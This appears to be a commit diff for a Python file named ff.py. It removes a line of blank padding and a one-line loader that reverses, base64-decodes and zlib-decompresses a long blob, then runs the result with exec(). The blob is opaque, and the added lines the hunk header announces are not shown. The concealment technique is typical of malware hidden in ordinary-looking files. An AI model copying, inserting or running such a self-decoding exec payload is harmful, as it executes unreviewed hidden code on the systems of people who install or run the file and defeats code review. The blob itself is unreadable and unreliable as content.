Update ff.py

ff.py

@@ -1,2 +1,623 @@
-                  
-_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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